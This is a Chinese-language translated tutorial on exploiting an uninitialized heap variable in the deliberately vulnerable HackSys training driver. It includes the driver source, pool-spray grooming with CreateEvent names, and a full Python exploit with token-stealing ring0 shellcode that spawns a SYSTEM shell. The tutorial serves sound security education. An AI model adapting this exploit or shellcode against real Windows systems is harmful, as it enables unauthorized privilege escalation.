Windows内核漏洞利用教程 第7部分:未初始化的堆变量
前言
关于 windows 内核漏洞利用教程,玉涵已经将 fuzzysecurity
上的那部分翻译完毕,是很好的学习资料。因为之前翻译了池风水那篇文章,发现作者又接着更新了几篇,所以就简单地翻译了一下本篇文章,学习一下。
概述
在上一篇文章中,我们研究了未初始化的栈变量漏洞。在这篇教程中,我们会讨论类似的一个漏洞,未初始化的堆变量。在这篇教程,我们会修改分页池,以便控制流可以指向我们的shellcode。
另外,对于hacksysteam的驱动程序表示万分感谢!
分析
首先,我们先分析一下 UninitializedHeapVariable.c 文件:
NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
ULONG_PTR UserValue = 0;
ULONG_PTR MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));
// Allocate Pool chunk
UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
ExAllocatePoolWithTag(PagedPool,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)POOL_TAG);
if (!UninitializedHeapVariable) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(UNINITIALIZED_HEAP_VARIABLE));
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
}
// 获取用户态传进来的值
UserValue = *(PULONG_PTR)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable);
// 验证幻数值
if (UserValue == MagicValue) {
UninitializedHeapVariable->Value = UserValue;
UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback;
// 使用`AAAAA...AA`填充缓存区
RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41);
// Null 终止 char 缓冲区
UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG_PTR)) - 1] = '\0';
}
else {
DbgPrint("[+] Freeing UninitializedHeapVariable Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
// 释放分配的 Pool chunk
ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG);
// 安全提醒: 因为开发者将`UninitializedHeapVariable`的值设为`NULL`,并且在调用`callback`前检查空指针,所以是安全的。
// 设为空以避免悬挂指针
UninitializedHeapVariable = NULL;
}
// 漏洞提醒: 因为开发者在调用`callback`函数前,没有初始化指针的值,所以会导致一个未初始化的堆变量漏洞。
DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
// 调用`callback`函数
if (UninitializedHeapVariable) {
DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
UninitializedHeapVariable->Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
代码虽然看着比较长,但是还是容易理解的。使用pool chunk 的 地址初始化 变量 UninitializedHeapVariable,如果UserValue等于Magic的话,那么一切都没有问题,value 和 callback字段也可以被正确地初始化,然后程序在调用callback函数前会检查变量是否被初始化。
但是,如果不相等的话会怎么样呢?
从代码来看,很明显编译的是SECURE版本, 变量UninitializedHeapVariable会被置为NULL, 所以在if 声明中,不会调用callback函数。而如果是编译为不安全版本的话,则没有类似这样的检查措施,然后会callback 未初始化的变量,从而导致出现漏洞。
(译注:secure 编译相关的一些选项问题,可以参见微软的官方文档)
接着,我们来看一下在 UninitializedHeapVariable.h 中_UNINITIALIZED_HEAP_VARIABLE 结构体是如何定义的:
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
ULONG_PTR Value;
FunctionPointer Callback;
ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
可以看到,上面的结构体中定义了3个成员变量,第二个是一个函数指针类型的变量,命名为callback,如果我们能想方设法地控制pool chunk上的数据的话,我们就能够控制 UninitializedHeapVariable 结构体和 callback函数。
可以在IDA中清楚地看到:
并且, IOCTL号为 0x222033。
利用
和前几篇一样,继续使用我们的脚本框架:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
buf = "\xb0\xb0\xd0\xba"
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None)
if __name__ == "__main__":
main()
成功传递参数,没有发生异常,我们试下传递一些其他的UserValue,看看会发生什么。
可以看到出现了异常,并且Callback函数的地址似乎并非一个有效值,现在可以开始写exploit了。
这里最大的问题就是通过用户空间可以控制的数据来修改分页池,而我们可以使用的一个接口是Named Objects。如果你记得以前那篇关于 池风水文章的话,就会想起我们曾使用[CreateEvent](https://msdn.microsoft.com/pl-pl/library/windows/desktop/ms682396(v=vs.85).aspx)对象来修改Lookaside链表:
HANDLE WINAPI CreateEvent(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCTSTR lpName
);
这里最重要的一点是,即使event对象本身被分配给非分页池,最后那个LPCTSTR类型的参数lpName实际上也是在分页池中分配的。并且,我们实际上可以定义它的内容和长度。
这里还有几点需要注意:
我们修改 的Lookaside 链表会在系统启动两分钟后延迟激活。
(译注:原文为:We’d be grooming the Lookaside list, which are lazy activated only two minutes after the boot. 不过,我没太理解这是什么意思,希望懂的大神给解释下。)Lookaside链表的最大块长是 0x20, 它只能管理256 个块,之外的块由ListHead负责管理。
我们需要分配256个相同大小的对象,然后释放它们。如果Lookaside链表不能完成分配的话,会从ListHead链表中接着分配。
我们需要确保每次调用对象构造函数时对象名称的字符串都是随机的,因为如果将相同的字符串传递给对象构造函数的连续调用的话,那么只有一个Pool chuck将被用于所有进一步的请求。
我们还需要确保我们的lpName不应该包含任何NULL字符,因为这会改变lpName的长度,导致exploit利用失败。
我们给lpName分配 0xF0 的大小, 头部大小为 0x8 ,一共是0xF8 字节的块,shellcode来源于之前的教程中。
我们最终的exploit 如下:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
spray_event = []
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
# 定义 ring0级的 shellcode, 使用 VirtualProtect() 函数 该表内存区域属性。c
# 地址中不能包含Null 字符,否则exp 会失效。
shellcode = (
"\x90\x90\x90\x90" # NOP Sled
"\x60" # pushad
"\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" # mov ecx, eax (Current _EPROCESS structure)
"\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]
"\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET]
"\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx
"\x75\xED" # jnz
"\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx
"\x61" # popad
"\xC3" # ret
)
shellcode_address = id(shellcode) + 20
shellcode_address_struct = struct.pack("<L", shellcode_address)
print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_address))
success = kernel32.VirtualProtect(shellcode_address, c_int(len(shellcode)), c_int(0x40), byref(c_long()))
if success == 0x0:
print "\t[+] Failed to change memory protection."
sys.exit(-1)
#定义 lpName 的静态部分, 大小为 0xF0, 根据 shellcode 的 地址 和 动态部分作出调整。
static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * (0xF0-4-8-4)
# 分配 256 个 相同大小的 CreateEvent 对象
print "\n[+] Spraying Event Objects..."
for i in xrange(256):
dynamic_lpName = str(i).zfill(4)
spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName+dynamic_lpName)))
if not spray_event[i]:
print "\t[+] Failed to allocate Event object."
sys.exit(-1)
# 释放 CreateEvent 对象
print "\n[+] Freeing Event Objects..."
for i in xrange(0, len(spray_event), 1):
if not kernel32.CloseHandle(spray_event[i]):
print "\t[+] Failed to close Event object."
sys.exit(-1)
buf = '\x37\x13\xd3\xba'
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None)
print "\n[+] nt authority\system shell incoming"
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()
最终获得系统管理员权限:
本文由看雪翻译小组 fyb波 编译,来源@rootkits' blog
转载请注明来自看雪社区
往期热门阅读:
点击阅读原文/read,
更多干货等着你~
扫描二维码关注我们,更多干货等你来拿!